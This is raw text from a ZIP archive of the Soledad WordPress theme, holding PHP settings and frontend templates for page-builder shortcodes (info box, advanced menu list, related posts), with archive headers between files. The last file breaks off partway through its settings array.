			'dependency' => array( 'element' => 'icon_view', 'value_not_equal_to' => 'default' ),
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'icon_width',
			'heading'          => __( 'Width/Height for Box Contain Icon', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'group'            => 'Icon & Image',
			'edit_field_class' => 'vc_col-sm-6',
			'dependency'       => array( 'element' => 'icon_view', 'value_not_equal_to' => 'default' ),
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'icon_padding',
			'heading'          => __( 'Custom Padding for Icon', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'group'            => 'Icon & Image',
			'edit_field_class' => 'vc_col-sm-6',
			'dependency'       => array( 'element' => 'icon_view', 'value_not_equal_to' => 'default' ),
		),
		array(
			'type'        => 'vc_link',
			'heading'     => __( 'URL (Link)', 'soledad' ),
			'param_name'  => '_link',
			'description' => __( 'Add link to icon.', 'soledad' ),
		),


		// Line
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'pline_width',
			'heading'          => __( 'Line width', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'dependency'       => array( 'element' => '_use_line', 'value' => 'true', ),
			'edit_field_class' => 'vc_col-sm-6',
			'group'            => $group_line,
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'pline_height',
			'heading'          => __( 'Line height', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'dependency'       => array( 'element' => '_use_line', 'value' => 'true', ),
			'edit_field_class' => 'vc_col-sm-6',
			'group'            => $group_line,
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'line_margin_top',
			'heading'          => __( 'Margin top', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'dependency'       => array( 'element' => '_use_line', 'value' => 'true', ),
			'edit_field_class' => 'vc_col-sm-6',
			'group'            => $group_line,
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'line_margin_bottom',
			'heading'          => __( 'Margin bototm', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'edit_field_class' => 'vc_col-sm-6',
			'dependency'       => array( 'element' => '_use_line', 'value' => 'true', ),
			'group'            => $group_line,
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Custom color for Line', 'soledad' ),
			'param_name'       => 'line_color',
			'group'            => $group_line,
			'edit_field_class' => 'vc_col-sm-6',
		),

		// Typo
		array(
			'type'             => 'textfield',
			'param_name'       => 'ib_typo_heading',
			'heading'          => esc_html__( 'Infor Box', 'soledad' ),
			'value'            => '',
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Background color', 'soledad' ),
			'param_name'       => 'ib_bgcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Borders color', 'soledad' ),
			'param_name'       => 'ib_bdcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'ib_borderwidth',
			'heading'    => __( 'Borders Width', 'soledad' ),
			'value'      => '',
			'std'        => '',
			'suffix'     => 'px',
			'min'        => 1,
			'group'      => $group_color,
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'ib_paddingleft',
			'heading'    => __( 'Padding Left & Right', 'soledad' ),
			'value'      => '',
			'std'        => '',
			'suffix'     => 'px',
			'min'        => 1,
			'group'      => $group_color,
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'ib_paddingtop',
			'heading'    => __( 'Padding Top & Bottom', 'soledad' ),
			'value'      => '',
			'std'        => '',
			'suffix'     => 'px',
			'min'        => 1,
			'group'      => $group_color,
		),

		array(
			'type'             => 'textfield',
			'param_name'       => 'icon_typo_heading',
			'heading'          => esc_html__( 'Icon', 'soledad' ),
			'value'            => '',
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Icon color', 'soledad' ),
			'param_name'       => 'icon_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Icon background color', 'soledad' ),
			'param_name'       => 'icon_bgcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Icon border color', 'soledad' ),
			'param_name'       => 'icon_border_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Icon hover color', 'soledad' ),
			'param_name'       => 'icon_hcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Icon hover background color', 'soledad' ),
			'param_name'       => 'icon_hbgcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Icon hover border color', 'soledad' ),
			'param_name'       => 'icon_hborder_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		// Typo title
		array(
			'type'             => 'textfield',
			'param_name'       => 'stitle_typo_heading',
			'heading'          => esc_html__( 'Sub Title', 'soledad' ),
			'value'            => '',
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Sub Title color', 'soledad' ),
			'param_name'       => 'stitle_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'       => 'google_fonts',
			'param_name' => '_stitle_typo',
			'value'      => '',
			'group'      => $group_color,
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => '_stitle_fsize',
			'heading'    => __( 'Font Size for Sub Title', 'soledad' ),
			'value'      => '',
			'std'        => '',
			'suffix'     => 'px',
			'min'        => 1,
			'group'      => $group_color,
		),

		array(
			'type'             => 'textfield',
			'param_name'       => 'title_typo_heading',
			'heading'          => esc_html__( 'Title', 'soledad' ),
			'value'            => '',
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Title color', 'soledad' ),
			'param_name'       => 'title_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'       => 'google_fonts',
			'param_name' => '_title_typo',
			'value'      => '',
			'group'      => $group_color,
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => '_title_fsize',
			'heading'    => __( 'Font Size for Title', 'soledad' ),
			'value'      => '',
			'std'        => '',
			'suffix'     => 'px',
			'min'        => 1,
			'group'      => $group_color,
		),

		// Content Typography
		array(
			'type'             => 'textfield',
			'param_name'       => '_content_typo_heading',
			'heading'          => esc_html__( 'Content', 'soledad' ),
			'value'            => '',
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'       => 'colorpicker',
			'heading'    => esc_html__( 'Content color', 'soledad' ),
			'param_name' => '_content_color',
			'group'      => $group_color,
		),
		array(
			'type'       => 'google_fonts',
			'param_name' => '_content_typo',
			'value'      => '',
			'group'      => $group_color,
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => '_content_fsize',
			'heading'    => __( 'Font Size for Content', 'soledad' ),
			'value'      => '',
			'std'        => '',
			'suffix'     => 'px',
			'min'        => 1,
			'group'      => $group_color,
		),
		array(
			'type'             => 'textfield',
			'param_name'       => 'extra_options',
			'heading'          => esc_html__( 'Extra Options', 'soledad' ),
			'value'            => '',
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		vc_map_add_css_animation(),
		array(
			'type'        => 'textfield',
			'heading'     => esc_html__( 'Extra class name', 'soledad' ),
			'param_name'  => 'el_class',
			'description' => esc_html__( 'Style particular content element differently - add a class name and refer to it in custom CSS.', 'soledad' ),
		),
		array(
			'type'       => 'css_editor',
			'heading'    => __( 'CSS box', 'soledad' ),
			'param_name' => 'css',
			'group'      => __( 'Design Options', 'soledad' ),
		),
		penci_get_vc_responsive_spacing_map(),
	)
) );
PK     /w\#i2.  .  ,  js_composer/shortcodes/info_box/frontend.phpnu [        <?php
/**
 * Shortcode attributes
 * @var $atts
 * @var $title_text
 * @var $_use_line
 * @var $description_text
 * @var $icon_position
 * @var $stitle_mar_top
 * @var $title_mar_top
 * @var $title_mar_bottom
 * @var $des_mar_top
 * @var $icon_type
 * @var $image
 * @var $image_hover
 * @var $icon_fontawesome
 * @var $icon_view
 * @var $icon_shape
 * @var $icon_hover_animation
 * @var $img_wh
 * @var $icon_mar_bottom
 * @var $icon_padding
 * @var $icon_width
 * @var $_link
 * @var $pline_width
 * @var $pline_height
 * @var $line_margin_top
 * @var $line_margin_bottom
 * @var $line_color
 * @var $icon_color
 * @var $icon_bgcolor
 * @var $icon_border_color
 * @var $icon_hcolor
 * @var $icon_hbgcolor
 * @var $icon_hborder_color
 * @var $title_color
 * @var $_title_typo
 * @var $_title_fsize
 * @var $_content_color
 * @var $_content_typo
 * @var $_content_fsize
 * @var $css_animation
 * @var $el_class
 * @var $css
 */

$el_class = $css_animation = $css = $responsive_spacing = '';

$atts = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

$class_to_filter = '';
$class_to_filter .= vc_shortcode_custom_css_class( $css, ' ' ) . $this->getExtraClass( $el_class ) . $this->getCSSAnimation( $css_animation );

$css_class = 'penci-block-vc penci-info-box';
$css_class .= $icon_position ? ' penci-ibox-' . $icon_position : 'penci-ibox-float-left';
$css_class .= $icon_view ? ' penci-view-' . $icon_view : '';
$css_class .= $icon_shape ? ' penci-shape-' . $icon_shape : '';
$css_class .= ' ' . apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, $class_to_filter, $this->settings['base'], $atts );
$inner_class = $icon_hover_animation ? ' penci-animation-' . $icon_hover_animation : '';

$block_id = Penci_Vc_Helper::get_unique_id_block( 'info_box' );

$url      = vc_build_link( $_link );
vc_icon_element_fonts_enqueue( 'fontawesome' );

$a_before = '<span class="penci-ibox-icon-fa">';
$a_after  = '</span>';
if ( strlen( $_link ) > 0 && strlen( $url['url'] ) > 0 ) {
	$a_before = '<a class="penci-ibox-icon-fa-fix" href="' . esc_attr( $url['url'] ) . '" target="' . ( strlen( $url['target'] ) > 0 ? esc_attr( $url['target'] ) : '_self' ) . '"></a>';
	$a_before .= '<a class="penci-ibox-icon-fa" href="' . esc_attr( $url['url'] ) . '" title="' . esc_attr( $url['title'] ) . '" target="' . ( strlen( $url['target'] ) > 0 ? esc_attr( $url['target'] ) : '_self' ) . '">';
	$a_after  = '</a>';
}
?>
<div id="<?php echo esc_attr( $block_id ) ?>" class="<?php echo esc_attr( $css_class ); ?>">
	<div class="penci-ibox-inner<?php echo $inner_class; ?>">
		<?php
		if ( in_array( $icon_type, array( 'icon', 'text' ) ) ) {
			echo '<div class="penci-ibox-icon penci-ibox-icon--icon penci-icon penci-tibox-'. $icon_type .'">';
			echo $a_before;
			if( 'text' == $icon_type ){
				echo '<div class="pc-ibox-ctext">'. $icontext .'</div>';
			} else {
				echo '<i class="penci-ibox-icon--i ' . $icon_fontawesome . '"></i>';
			}
			echo $a_after;
			echo '</div>';
		} elseif ( $image ) {
			echo '<div class="penci-ibox-icon penci-ibox-icon--image">';
			echo $a_before;
			echo '<img class="' . ( $image_hover ? 'penci-ibox-img_active' : '' ) . '" src="' . esc_url( wp_get_attachment_url( $image ) ) . '">';

			if ( $image_hover ) {
				echo '<img class="penci-ibox-img_hover" src="' . esc_url( wp_get_attachment_url( $image_hover ) ) . '">';
			}

			echo $a_after;
			echo '</div>';
		}
		?>
		<div class="penci-ibox-content-wrap">
		<?php if( $subtitle ): ?><div class="penci-ibox-stit"><?php echo $subtitle; ?></div><?php endif; ?>
		<?php if( $title_text ): ?><h3 class="penci-ibox-title"><?php echo $title_text; ?></h3><?php endif; ?>
		<?php if( 'yes' == $_use_line ): ?><div class="pc-ibox-wpline"><span class="penci-ibox-line"></span></div><?php endif; ?>
		<?php if( $description_text ): ?><div class="penci-ibox-content"><?php echo do_shortcode( wpautop( $description_text ) ); ?></div><?php endif; ?>
		</div>
	</div>
</div>
<?php
$id_info_box = '#' . $block_id;
$id_info_box2 = 'body:not(.pcdm-enable) #' . $block_id;

$css_custom = '';
if ( $atts['stitle_mar_top'] ) {
	$css_custom .= $id_info_box . ' .penci-ibox-stit{margin-top:' . esc_attr( $atts['stitle_mar_top'] ) . '}';
}
if ( $atts['title_mar_top'] ) {
	$css_custom .= $id_info_box . ' .penci-ibox-title{margin-top:' . esc_attr( $atts['title_mar_top'] ) . '}';
}
if ( $atts['title_mar_bottom'] ) {
	$css_custom .= $id_info_box . ' .penci-ibox-title{margin-bottom:' . esc_attr( $atts['title_mar_bottom'] ) . '}';
}
if ( $atts['des_mar_top'] ) {
	$css_custom .= $id_info_box . ' .penci-ibox-content{margin-top:' . esc_attr( $atts['des_mar_top'] ) . '}';
}
if ( $atts['ib_bgcolor'] ) {
	$css_custom .= $id_info_box2 . '{ background-color: ' . esc_attr( $atts['ib_bgcolor'] ) . '; }';
}
if ( $atts['ib_bdcolor'] ) {
	$css_custom .= $id_info_box2 . '{ border: 1px solid ' . esc_attr( $atts['ib_bdcolor'] ) . '; }';
}
if ( $atts['ib_borderwidth'] ) {
	$css_custom .= $id_info_box . '{ border-width: ' . esc_attr( $atts['ib_borderwidth'] ) . '; }';
}
if ( $atts['ib_paddingleft'] ) {
	$css_custom .= $id_info_box . '{ padding-left: ' . esc_attr( $atts['ib_paddingleft'] ) . '; padding-right: ' . esc_attr( $atts['ib_paddingleft'] ) . '; }';
}
if ( $atts['ib_paddingtop'] ) {
	$css_custom .= $id_info_box . '{ padding-top: ' . esc_attr( $atts['ib_paddingtop'] ) . '; padding-bottom: ' . esc_attr( $atts['ib_paddingtop'] ) . '; }';
}

$line_custom_css = '';
if ( $atts['pline_width'] ) {
	$line_custom_css .= 'width:' . esc_attr( $atts['pline_width'] ) . ';';
}
if ( $atts['pline_height'] ) {
	$line_custom_css .= 'height:' . esc_attr( $atts['pline_height'] ) . ';';
}
if ( $atts['line_margin_top'] ) {
	$line_custom_css .= 'margin-top:' . esc_attr( $atts['line_margin_top'] ) . ';';
}
if ( $atts['line_margin_bottom'] ) {
	$line_custom_css .= 'margin-bottom:' . esc_attr( $atts['line_margin_bottom'] ) . ';';
}
if ( $atts['line_color'] ) {
	$line_custom_css .= 'color:' . esc_attr( $atts['line_color'] ) . ';';
}
if ( $line_custom_css ) {
	$css_custom .= $id_info_box . ' .penci-ibox-line{' . esc_attr( $line_custom_css ) . '}';
}

if ( $atts['icon_padding'] ) {
	$css_custom .= $id_info_box . '.penci-view-stacked .penci-icon, '. $id_info_box . '.penci-view-framed .penci-icon{ padding:' . esc_attr( $atts['icon_padding'] ) . '}';
}
if ( ! $atts['icon_width'] ) {
	$css_custom .= $id_info_box . ' .penci-ibox-icon{width: ' . esc_attr( $atts['icon_width'] ) . ';height:' . esc_attr( $atts['icon_width'] ) . ';display: flex; align-items: center; justify-content: center;}';
}

if ( $atts['icon_color'] ) {
	$css_custom .= $id_info_box2 . ' .penci-ibox-icon,';
	$css_custom .= $id_info_box2 . ' .penci-ibox-icon svg,';
	$css_custom .= $id_info_box2 . ' .penci-ibox-icon a { color:' . esc_attr( $atts['icon_color'] ) . '; fill:' . esc_attr( $atts['icon_color'] ) . '; }';
}
if ( $atts['icon_bgcolor'] ) {
	$css_custom .= $id_info_box2 . '.penci-view-stacked .penci-ibox-icon,';
	$css_custom .= $id_info_box2 . '.penci-view-framed .penci-ibox-icon,';
	$css_custom .= $id_info_box2 . '.penci-view-stacked .penci-animation-custom-3 .penci-ibox-icon:after,';
	$css_custom .= $id_info_box2 . '.penci-view-stacked .penci-animation-custom-4 .penci-ibox-icon:after,';
	$css_custom .= $id_info_box2 . '.penci-view-stacked .penci-animation-custom-5 .penci-ibox-icon:after';
	$css_custom .= '{ background-color:' . esc_attr( $atts['icon_bgcolor'] ) . ' }';
}
if ( $atts['icon_border_color'] ) {
	$css_custom .= $id_info_box2 . '.penci-view-stacked .penci-icon,';
	$css_custom .= $id_info_box2 . '.penci-view-framed .penci-icon,';
	$css_custom .= $id_info_box2 . '.penci-view-framed .penci-animation-custom-2 .penci-ibox-icon:after';
	$css_custom .= $id_info_box2 . '.penci-view-framed .penci-animation-custom-5 .penci-ibox-icon:after{ border-color: ' . esc_attr( $atts['icon_border_color'] ) . '; }';
	$css_custom .= $id_info_box2 . '.penci-view-stacked .penci-animation-custom-3 .penci-ibox-icon,';
	$css_custom .= $id_info_box2 . '.penci-view-stacked .penci-animation-custom-4 .penci-ibox-icon,';
	$css_custom .= $id_info_box2 . '.penci-view-stacked .penci-animation-custom-5 .penci-ibox-icon{ box-shadow: inset 0 0 0 3px ' . esc_attr( $atts['icon_border_color'] ) . '; }';
}

if ( $atts['icon_hcolor'] ) {
	$css_custom .= $id_info_box2 . ' .penci-ibox-inner:hover .penci-ibox-icon,';
	$css_custom .= $id_info_box2 . ' .penci-ibox-inner:hover .penci-ibox-icon svg,';
	$css_custom .= $id_info_box2 . ' .penci-ibox-inner:hover .penci-ibox-icon a { color:' . esc_attr( $atts['icon_hcolor'] ) . ';fill:' . esc_attr( $atts['icon_hcolor'] ) . '; }';
}
if ( $atts['icon_hbgcolor'] ) {
	$css_custom .= $id_info_box2 . '.penci-view-stacked .penci-ibox-inner:hover .penci-ibox-icon,';
	$css_custom .= $id_info_box2 . '.penci-view-framed .penci-ibox-inner:hover .penci-ibox-icon,';
	$css_custom .= $id_info_box2 . '.penci-view-stacked .penci-animation-custom-3:hover .penci-ibox-icon:after,';
	$css_custom .= $id_info_box2 . '.penci-view-stacked .penci-animation-custom-4:hover .penci-ibox-icon:after,';
	$css_custom .= $id_info_box2 . '.penci-view-stacked .penci-animation-custom-5:hover .penci-ibox-icon:after,';
	$css_custom .= $id_info_box2 . '.penci-view-framed .penci-animation-custom-1 .penci-ibox-icon:after';
	$css_custom .= '{ background-color:' . esc_attr( $atts['icon_hbgcolor'] ) . ' }';
}
if ( $atts['icon_hborder_color'] ) {
	$css_custom .= $id_info_box2 . '.penci-view-stacked .penci-ibox-inner:hover .penci-ibox-icon,';
	$css_custom .= $id_info_box2 . '.penci-view-framed .penci-ibox-inner:hover .penci-ibox-icon,';
	$css_custom .= $id_info_box2 . '.penci-view-framed .penci-animation-custom-2:hover  .penci-ibox-icon:after,';
	$css_custom .= $id_info_box2 . '.penci-view-framed .penci-animation-custom-5:hover  .penci-ibox-icon:after';
	$css_custom .= '{ border-color:' . esc_attr( $atts['icon_hbgcolor'] ) . ' }';

	$css_custom .= $id_info_box2 . '.penci-view-stacked .penci-animation-custom-2 .penci-ibox-icon:after,';
	$css_custom .= $id_info_box2 . '.penci-view-stacked .penci-animation-custom-1 .penci-ibox-icon:after{ box-shadow: 0 0 0 3px ' . esc_attr( $atts['icon_hborder_color'] ) . '; }';

	$css_custom .= $id_info_box2 . '.penci-view-stacked .penci-animation-custom-3:hover .penci-ibox-icon,';
	$css_custom .= $id_info_box2 . '.penci-view-stacked .penci-animation-custom-4:hover .penci-ibox-icon,';
	$css_custom .= $id_info_box2 . '.penci-view-stacked .penci-animation-custom-5:hover .penci-ibox-icon{ box-shadow: inset 0 0 0 3px ' . esc_attr( $atts['icon_hborder_color'] ) . '; }';
	$css_custom .= $id_info_box2 . '.penci-view-framed .penci-animation-custom-5:hover .penci-ibox-icon{ box-shadow: 0 0 0 6px ' . esc_attr( $atts['icon_hborder_color'] ) . '; }';
}

if ( $atts['stitle_color'] ) {
	$css_custom .= $id_info_box . ' .penci-ibox-stit{ color: ' . esc_attr( $atts['stitle_color'] ) . '; }';
}
$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $atts['_stitle_fsize'],
	'font_style' => $atts['_stitle_typo'],
	'template'   => $id_info_box . ' .penci-ibox-stit{ %s }',
) );

if ( $atts['title_color'] ) {
	$css_custom .= $id_info_box2 . ' .penci-ibox-title{ color: ' . esc_attr( $atts['title_color'] ) . '; }';
}
$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $atts['_title_fsize'],
	'font_style' => $atts['_title_typo'],
	'template'   => $id_info_box . ' .penci-ibox-title{ %s }',
) );

if ( $atts['_content_color'] ) {
	$css_custom .= $id_info_box . ' .penci-ibox-content{ color: ' . esc_attr( $atts['_content_color'] ) . '; }';
}
$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $atts['_content_fsize'],
	'font_style' => $atts['_content_typo'],
	'template'   => $id_info_box . ' .penci-ibox-content{ %s }',
) );
if ( $responsive_spacing ) {
	$css_custom .= penci_extract_spacing_style( $id_info_box, $responsive_spacing );
}

if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}

PK     /w\t    1  js_composer/shortcodes/advanced_list/settings.phpnu [        <?php
vc_map( array(
	'name'                    => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Advanced Menu', 'soledad' ),
	'base'                    => 'penci_advanced_list',
	'as_parent'               => array( 'only' => 'penci_advanced_list_item' ),
	'content_element'         => true,
	'show_settings_on_create' => true,
	'html_template'           => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/advanced_list/frontend.php',
	'category'                => penci_get_theme_name( 'Soledad' ),
	'description'             => esc_html__( 'Create a menu list for your mega menu dropdown', 'soledad' ),
	'icon'                    => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'weight'                  => 700,
	'params'                  => array(
		array(
			'type'             => 'textfield',
			'param_name'       => '_heading_settings1',
			'heading'          => esc_html__( 'Link', 'soledad' ),
			'value'            => '',
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'             => 'textfield',
			'holder'           => 'div',
			'heading'          => esc_html__( 'Title', 'soledad' ),
			'param_name'       => 'title',
			'edit_field_class' => 'vc_col-sm-6 vc_column',

		),
		array(
			'type'             => 'vc_link',
			'heading'          => esc_html__( 'Link', 'soledad' ),
			'param_name'       => 'link',
			//'description'             => esc_html__( 'Enter URL if you want this parent menu item to have a link.', 'soledad' ),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		/**
		 * Label
		 */ array(
			'type'             => 'textfield',
			'param_name'       => '_heading_settings2',
			'heading'          => esc_html__( 'Label', 'soledad' ),
			'value'            => '',
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'             => 'textfield',
			'heading'          => esc_html__( 'Label text (optional)', 'soledad' ),
			'param_name'       => 'label_text',
			'description'      => esc_html__( 'Write a label for this menu item badge like “Sale”, “Hot”, “New” etc. Leave empty to not add any badges.', 'soledad' ),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Label color', 'soledad' ),
			'param_name'       => 'label',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		/**
		 * Image
		 */ array(
			'type'             => 'textfield',
			'param_name'       => '_heading_settings3',
			'heading'          => esc_html__( 'Images', 'soledad' ),
			'value'            => '',
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'             => 'attach_image',
			'heading'          => esc_html__( 'Image', 'soledad' ),
			'param_name'       => 'image',
			'value'            => '',
			'description'      => esc_html__( 'Select image from media library.', 'soledad' ),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'textfield',
			'heading'          => esc_html__( 'Image size', 'soledad' ),
			'param_name'       => 'image_size',
			'description'      => esc_html__( 'Enter image size. Example: \'thumbnail\', \'medium\', \'large\', \'full\' or other sizes defined by current theme. Alternatively enter image size in pixels: 200x100 (Width x Height). Leave empty to use \'thumbnail\' size.', 'soledad' ),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		/**
		 * Extra
		 */ array(
			'type'             => 'textfield',
			'param_name'       => '_heading_settings4',
			'heading'          => esc_html__( 'Extra Options', 'soledad' ),
			'value'            => '',
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'        => 'textfield',
			'heading'     => esc_html__( 'Extra class name', 'soledad' ),
			'param_name'  => 'el_class',
			'description' => esc_html__( 'If you wish to style particular content element differently, then use this field to add a class name and then refer to it in your css file.', 'soledad' ),
		),
	),
	'js_view'                 => 'VcColumnView',
) );
PK     /w\4aR%    1  js_composer/shortcodes/advanced_list/frontend.phpnu [        <?php

$link = $title = $label = $label_text = $image = $image_size = $css_animation = $el_class = '';

$output = $class = $liclass = $label_out = '';

$atts = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

if ( penci_get_menu_label_tag( $label, $label_text ) ) {
	$liclass .= penci_get_menu_label_class( $label );
}

if ( $el_class ) {
	$class .= ' ' . $this->getExtraClass( $el_class );
}
$class .= ' mega-menu-list';
$class .= $this->getCSSAnimation( $css_animation );
$class .= ' sub-menu';

// Image settings.
$image_output = '';
if ( function_exists( 'wpb_getImageBySize' ) && $image ) {
	$img          = wpb_getImageBySize( array(
		'attach_id'  => $image,
		'thumb_size' => $image_size,
		'class'      => 'penci-nav-img'
	) );
	$image_output = isset( $img['thumbnail'] ) ? $img['thumbnail'] : '';
}
?>

<ul class="penci-sub-menu<?php echo esc_attr( $class ); ?>">
    <li class="<?php echo esc_attr( $liclass ); ?>">
        <a <?php echo penci_get_link_attributes( vc_build_link($link) ); ?>>
			<?php if ( $image_output ) : ?>
				<?php echo $image_output; ?>
			<?php endif; ?>

            <span class="nav-link-text">
							<?php echo wp_kses( $title, penci_allow_html() ); ?>
						</span>
			<?php echo penci_get_menu_label_tag( $label, $label_text ); ?>
        </a>
        <ul class="sub-sub-menu">
			<?php echo do_shortcode( $content ); ?>
        </ul>
    </li>
</ul>


PK     /w\쒬    :  js_composer/shortcodes/pc_single_relatedposts/settings.phpnu [        <?php
$group_icon  = 'Icon';
$group_color = 'Typo & Color';

vc_map( array(
	'base'          => "pc_single_related_posts",
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Post Builder' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/pc_single_relatedposts/frontend.php',
	'weight'        => 910,
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Post Builder - Related Posts', 'soledad' ),
	'description'   => 'Post Builder - Related Posts',
	'controls'      => 'full',
	'params'        => array_merge( array(
		array(
			'type'             => 'textfield',
			'heading'          => esc_html__( 'Related Heading Text', 'soledad' ),
			'param_name'       => 'penci_post_related_text',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Related Posts Carousel Auto Play', 'soledad' ),
			'param_name'       => 'penci_post_related_autoplay',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Number of Related Posts', 'soledad' ),
			'param_name'       => 'penci_numbers_related_post',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Order Related Posts By', 'soledad' ),
			'param_name'       => 'penci_related_orderby',
			'value'            => array(
				'Random Posts'                   => 'rand',
				'Published Date'                 => 'date',
				'Post ID'                        => 'ID',
				'Modified Date'                  => 'modified',
				'Post Title'                     => 'title',
				'Comment Count'                  => 'comment_count',
				'Most Viewed Posts All Time'     => 'popular',
				'Most Viewed Posts Daily'     	 => 'popular_day',
				'Most Viewed Posts Once Weekly'  => 'popular7',
				'Most Viewed Posts Once a Month' => 'popular_month',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Sort Order Related Posts', 'soledad' ),
			'param_name'       => 'penci_related_sort_order',
			'value'            => array(
				'DESC' => 'Descending',
				'ASC'  => 'Ascending',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Title Length', 'soledad' ),
			'param_name'       => 'penci_related_posts_title_length',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Related Posts By', 'soledad' ),
			'param_name'       => 'penci_related_by',
			'value'            => array(
				'Categories'                                              => 'categories',
				'Tags'                                                    => 'tags',
				'Primary Category from "Yoast SEO" or "Rank Math" plugin' => 'primary_cat',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Make Related Posts Display in a Grid Layout ( not Slider )', 'soledad' ),
			'param_name'       => 'penci_post_related_grid',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'penci_switch',
